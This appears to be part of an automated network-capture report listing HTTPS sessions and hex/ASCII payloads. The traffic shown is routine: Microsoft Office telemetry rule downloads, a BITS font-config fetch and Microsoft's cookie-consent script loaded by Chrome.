2024-11-28 12:10:15 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-28 12:10:15 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-28 12:10:15 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:14 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:14 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121014Z-174f7845968l4kp6hC1EWRe8840000000ysg000000000htt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:14 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:14 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121014Z-174f78459684bddphC1EWRbht40000000y10000000009zy3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:14 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49805	23.52.182.8	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:14 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 12:10:14 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=51005 Date: Thu, 28 Nov 2024 12:10:14 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-28 12:10:14 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:16 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:16 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 48138194-301e-0020-3858-406299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121016Z-174f7845968frfdmhC1EWRxxbw0000000yhg000000001gsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:16 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:16 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:16 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121016Z-174f7845968xlwnmhC1EWR0sv80000000y90000000003sya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:16 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:16 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:16 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121016Z-174f7845968vqt9xhC1EWRgten0000000ydg000000006v8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:16 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:16 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121016Z-174f7845968j6t2phC1EWRcfe80000000ykg0000000050r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:16 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:16 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121016Z-174f7845968vqt9xhC1EWRgten0000000yh00000000022sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:16 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49814	13.107.246.63	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:16 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 12:10:17 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:17 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 18283 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: cc0bcaa7-101e-006d-2d63-4194d1000000 x-ms-version: 2009-09-19 x-azure-ref: 20241128T121017Z-174f78459685726chC1EWRsnbg0000000ye00000000065rk Accept-Ranges: bytes
2024-11-28 12:10:17 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-28 12:10:17 UTC	712	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-28 12:10:17 UTC	16384	IN	Data Raw: 61 2d 6c 61 62 65 6c 3d 22 27 2b 69 2e 65 73 63 61 70 65 48 74 6d 6c 28 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 2e 70 72 65 66 65 72 65 6e 63 65 73 44 69 61 6c 6f 67 43 6c 6f 73 65 4c 61 62 65 6c 29 2b 27 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 63 6c 6f 73 65 4d 6f 64 61 6c 49 63 6f 6e 2b 27 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 26 23 78 32 37 31 35 3b 3c 2f 62 75 74 74 6f 6e 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 64 6f 63 75 6d 65 6e 74 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 61 6c 42 6f 64 79 2b 27 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f Data Ascii: a-label="'+i.escapeHtml(this.textResources.preferencesDialogCloseLabel)+'" class="'+a.closeModalIcon+'" tabindex="0">✕</button>\n <div role="document" class="'+a.modalBody+'">\n <div>\n <h1 class="'+a.mo
